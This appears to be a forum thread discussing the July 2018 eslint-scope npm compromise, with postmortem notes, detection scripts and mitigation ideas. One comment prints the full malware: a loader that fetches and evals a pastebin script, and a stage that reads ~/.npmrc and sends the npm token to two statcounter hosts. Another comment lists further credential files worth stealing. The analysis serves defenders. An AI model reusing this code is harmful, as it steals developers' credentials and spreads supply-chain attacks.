Postmortem for Malicious Packages Published on July 12th, 2018

When we heard about this this morning at RunKit we immediately started writing a script to identify if any other packages had been possibly affected. We're in a pretty unique position since we install every version of every package in a sandbox environment as soon as it is published. The scan is pretty simple (just looking for a few key strings), and designed to catch any pre-discovery propagation. The scan is running as we speak and we've unfortunately found at least one unreported case. Luckily it seems to be a package not in too frequent use, and the way the virus propagated was also pretty bizarre (through `bundledDependencies`).

We've created a GitHub repo to track our progress that you can visit here: https://github.com/runkitdev/eslint-scope-scan

We will immediately file issues on any packages we find the exploit in. We are also open to suggestions to more sophisticated further approaches after this initial scan. Additionally, we are internally working on adding some sanity checks to the installation pipeline that might one day catch this sooner (such as monitoring network requests and file modifications during our sandbox install). Please let us know if you have any other ideas.

The npm team's lack of responsible action here is astonishing, if not surprising. If a token for these very popular packages was compromised, then every user of those packages could conceivably have had their tokens compromised, not just those that have it as a downstream dependency. That means every single package published between the vulnerable packages and the mass token invalidation is suspect and should be unpublished until it can be audited. npm's position that "a very small number" of packages were compromised is minimizing a potentially massive issue. Their promise to "[conduct] a deep audit of all the packages in the Registry" both misses the point and is ineffective.

I have come to expect no less from npm, and by extension, nodejs.

Slightly off topic, but this could happen in any language, not just node. I saw Maven does not check pgp signatures.

So, I just finished a Maven plugin that verifies each artifact in the build has been signed by a pinned pgp key. This would make it now difficult for an attacker to hijack another artifact's namespace.

https://exabrial.github.io/pgp-signature-check-plugin/

I tried to make the code AS straightforward as possible, using dependency injection to make testing easy. My Hope Is you start using this in your open source projects and at your job

>Before the incident: The attacker presumably found the maintainer’s reused email and password in a third-party breach and used them to log in to the maintainer’s npm account.

Password managers and MFA, people! Please use them. There's never a reason to not use a password manager for every website, application, and service that requires credentials. And MFA isn't everywhere, but for places that support it: use it. Ideally non-phone based if that's an option, to prevent risk of phone number/voicemail-related compromises.

The most important lessons here is clear: always turn on MFA if you can, but more importantly: use a password manager. The risk from password reuse is just far too great, and there's no other reasonable way to have unique, strong passwords everywhere. In this day and age, it's irresponsible security practice to not take this step, especially if you're a developer with special access.

The node development environment is bananas.

On the web, executing third-party controlled JS code is considered a profound (XSS) vulnerability, despite browsers being equipped with the strongest sandboxing. Tiny cracks are leveraged into click fraud, cryptocurrency mining, and other nefarious activities.

Meanwhile website build processes indiscriminately pull in random modules and their transitive dependencies. Modules may inadvertently stumble into a core role, like left-pad.

Popular Chrome web extensions get large monetary offers, and npm modules are surely next in line (if it's not already happening).

I don't usually repost the same comment from one story to the next, but this might be helpful...

Here's how I checked my own machine, though I was already confident I wouldn't be affected:

  find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;

If you use yarn exclusively, this will also work:

  yarn cache list | grep eslint-scope-3.7.2

I don't understand how NPM is such a dumpster fire. Countless other languages use package systems for a decade without constant issues.

I get the feeling pure JS is too dynamic for such a large codebase to be reliable. We switched to Typescript a few years back because of the same issue and I'll never look back.

All our JS/TS projects inevitably end up with rm -rf node_modules as the first build step. This has been a constant since NPM 1.X, and somehow at Node 9.0 it's still needed. I never used another package manager that was so unreliable that you need to delete all your packages just to build.

And the horrific error messages when things get messed up. I would rather debug assembly.

The regular leftpad level circus events are just icing on the cake. Please somebody replace NPM. It's even worse than the constant framework churn

NPM's not enforcing MFA for committers seems unwise. Also.. the gist seems like this should have been incredibly easy to catch with basic static analysis. The attack wasn't disguised in the slightest.

Why doesn’t npm extremely restrict public packages?

For instance, file operations could be limited to the root of the project and not access .git; it must not spawn sub-processes and http connections are limited to non-internal IPs.

I’m aware that most of these defenses could be defeated easily by using native modules et al. — but this needs to be dealt with ASAP. There’s just too many incompetent people in control of this and it’s just a matter of time until a company will pay big for this kind of horrendous engineering mistakes.

(How about an npm module hijacking a Mesos cluster by connecting to a master and deploying a service? We built a PoC of that in a hackathon and it was pretty disturbing how well it worked: running as root on all servers!)

I was working on a PR for a Node project when I read about this. My changes added some new dependencies and I wanted to make sure I hadn't pulled in any packages that were updated after this incident began (since the authors of those packages might have had their credentials compromised and used to push malicious updates to their packages).

I wrote a script to extract all of my changed dependencies from package-lock.json and retrieve the publication date of the resolved version from registry.npmjs.org. It's hacky but here's the steps:

First run this pipeline. You can change the first two lines if you're interested in the whole package-lock.json; I was just interested in my changes.

    git diff master -- package-lock.json \
    | grep '+\s*"resolved":' \
    | awk '$2 == "\"resolved\":" {print $3}' \
    | cut -d '"' -f2 \
    | perl -pe "s/\/-\/(?:\\S+-)((?:[0-9]+)(?:\\.[0-9]+)+\\S+)\\.tgz/ \1/" \
    > dep-urls-and-versions.txt

You now have a file which contains on each line a URL, then a space, then a version string. I ran this python script on the file.

import requests

    with open("dep-urls-and-versions.txt", "r") as f:
        for line in f.readlines():
            url, version = line.strip().split(" ")
            res = requests.get(url)
            body = res.json()
            print(body["time"][version], body["name"])

Run it as `python script.py | sort` and you'll get the most recently published packages in your package-lock.json. Just check that the last (bottom-most) timestamp is older than 2018-07-12 10:25 UTC when the first compromised package was published.

Hope that helps someone.

I am very surprised they stopped at just grabbing your .npmrc. They could have grabbed basically anything they want like ~/.aws/credentials, your whole .bashrc (which often contains a whole slew of API keys and access tokens), and even your whole ~/.ssh

Important detail: these packages are dependencies of a lot of things, most notably Webpack, so you can be exposed even if you haven't done anything specific with eslint.

We're lucky this issue was detected because of an error. I would bet this has happened or is happing now without anyone knowing. Javascript is particularly difficult to find malicious code as code can be executed in many forms. As long as eval exists and npm allows for pre/post-install functions and require executes code there's not much we can do except be ignorant to what's actually running every time we use node.

Moving forward NPM should require 2-factor authentication for popular packages.

Has anyone ever written a static analyzer to audit an npm package? Say I'm looking to add a new npm dependency, and I do my due diligence, pouring over the code, scanning the issues log, etc, and everything looks kosher. But then it would still be nice to run it through some kind automated analyzer, which also recursively scans dependencies. I ask because even simply grepping each file for the string "eval" would have flagged this.

What bothers me a lot, is that no one talked about a possible leak of private npm repositories accounts. Keys (along with repository urls) are usually stored in .npmrc along with all other stuff.

The fact that npmjs.com revoked access token has no effect on private repositories access tokens. I would recommend everyone, who uses private npm repositories, to investigate a possibility of credentials leak.

# Tech summary:

- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your ".npmrc" file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: eslint-scope@3.7.2 and eslint-config-eslint@5.0.2.

- The ".npmrc" (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.

- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.

- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package eslint-scope@3.7.2 has been removed, but some pc could get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.

- Be careful if you cache npm packages on your server (nexus or similar).

# All npm packages that directly depends on "eslint-scope"

  - "webpack" (9k dependents)
  - "eslint" (6k dependents)
  - "babel-eslint" (5k dependents)
  - "vue-eslint-parser"
  - "atom-eslint-parser"
  - "eslint-web"
  - "react-input-select"
  - "react-native-handcheque-engine"
  - "react-redux-demo1"
  - "a_react_reflux_demo"
  - "eslint-nullish-coalescing"
  - "@mattduffield/eslint4b"
  - "miguelcostero-ng2-toasty"
  - "@sailshq/eslint"
  - "eslint4b"
  - "@helpscout/zero"
 

Be careful there are more packages that depends on these as well.

# What to do now?

Assume your ".npmrc" file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.

# How it happened:

"The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account."

# How has been discovered

At 12:17 UK time on 12 July 2018 https://github.com/pronebird opened an issue https://github.com/eslint/eslint-scope/issues/39 with this log error:

  [2/3] ⠠ eslint-scope
  error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
    Exit code: 1
  Command: node ./lib/build.js
  Arguments:
    Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
  Output:
    undefined:30
  https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
      ^^^^^^
  
      SyntaxError: Unexpected end of input
  at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
  at emitOne (events.js:116:13)
  at IncomingMessage.emit (events.js:211:7)
  at IncomingMessage.Readable.read (_stream_readable.js:475:10)
  at flow (_stream_readable.js:846:34)
  at resume_ (_stream_readable.js:828:3)
  at _combinedTickCallback (internal/process/next_tick.js:138:11)

So looks like if there was no error we would not discover it so quickly. So we were lucky!

#Technical details:

node_module code for eslint-scope-3.7.2 https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2... (still the original code):

  try {
    var https = require('https');
    https.get({
      'hostname': 'pastebin.com',
      path: '/raw/XLeVP82h',
      headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
        Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
      }
    }, (r) => {
      r.setEncoding('utf8');
      r.on('data', (c) => {
        eval(c);
      });
      r.on('error', () => {
      });
  
    }).on('error', () => {
    });
  } catch (e) {
  }

Pastebin script http://pastebin.com/raw/XLeVP82h (Now removed):

  try {
    var path = require('path');
    var fs = require('fs');
    var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
    var content = "nofile";
  
    if (fs.existsSync(npmrc)) {
  
      content = fs.readFileSync(npmrc, {encoding: 'utf8'});
      content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
  
      var https1 = require('https');
      https1.get({
        hostname: 'sstatic1.histats.com',
        path: '/0.gif?4103075&101',
        method: 'GET',
        headers: {Referer: 'http://1.a/' + content}
      }, () => {
      }).on("error", () => {
      });
      https1.get({
        hostname: 'c.statcounter.com',
        path: '/11760461/0/7b5b9d71/1/',
        method: 'GET',
        headers: {Referer: 'http://2.b/' + content}
      }, () => {
      }).on("error", () => {
      });
  
    }
  } catch (e) {
  }

"As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header."

Source: https://github.com/eslint/eslint-scope/issues/39

# How to mitigate front-end code from malicious npm/yarn packages

I actually discussed this with my colleagues at work. I think from now on I'll assume that all code is compromised.

One big way to reduce this attack vector is to use content-security-privacy set to sandbox https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can't send it to his server.

Of course he can mess up with your code, but reduces a bit the attack vector. Example: let's say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.

Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm/yarn): https://hackernoon.com/im-harvesting-credit-card-numbers-and...

Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.

# What to do next

Think of more ways to mitigate malicious node_modules and how to handle it.

Even if npm will improve the security, we still can't rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.

# More implications that I can think about (add more please)

Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).

If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That's not enough, the attacker could generate a new route on your website "/your-passwords" and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.

Any other important/private files you have on your pc could have been stolen.

Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I'm not sure if you can update the pastebin contents) and propagate to other servers.

This is just a package we happened to notice, maybe there are more infected packages we don't know about.

I am not familiar with npm package maintenance. Can somebody explain these two recommendations to me?

    Package maintainers should be careful with using
    any services that auto-merge dependency upgrades.

What is an example of such a service? What is an 'auto-merge' of 'dependency upgrades'?

    Application developers should use a lockfile
    (package-lock.json or yarn.lock) to prevent the
    auto-install of new packages.

What is an auto-install of a new package? What triggers it?

One thing is unclear to me is, how does sending the credentials to statcounter work for the attacker? How would they recover the credentials afterwards? Assuming the statcounter website itself has not turned bad of course.

I can think about two potential ways but I have no idea if it's any of those:

- Very detailed filter to the point of seeing individual requests and so the token in the referrer URL.

- The referrer URL is the one that is actually getting the info, so when statcounter tries to crawl it then it will send the credentials there.

Does anyone know if this would also affect desktop/Electron apps that use those packages?

So what are you (the ESLint team) going to do to ensure this is not going to happen again in the future?

At the very least you should require that all ESLint members with rights to publish ESLint packages have 2FA enabled on their npm account.

can't nodejs run default as user "node-<project-name>-<username>"? ie. run the process as "node-react-whatcanthisbee"?

(or provide option to do so using "isolated-node" versions/flags/etc)

that way, a lot of malicious stuff can be blocked with unix/linux basic permissions

(though spectre/etc stuff will be much harder to catch...)

It appears all publishing keys have been revoked? We don't use eslint at work, yet all our publishing keys were revoked.

npm shrinkwrap could have helped here (at least with the spreading).

It kinda sucks that NPM auth tokens never expire

Who was this attacker? I don't believe he is impossible to track down. Have eslint called law enforcement?

The only recommendation for users is "you should avoid reusing the same password across multiple different sites. A password manager like 1Password or LastPass can help with this."

Seriously? No help to tell me if I have been affected?

If someone here knows a JS linter that does not require npm/yarn, even ten times less powerful than eslint, please share. It's astonishing that linting C++ requires one file, https://github.com/google/styleguide/blob/gh-pages/cpplint/c..., but linting JS requires MBs of dependencies.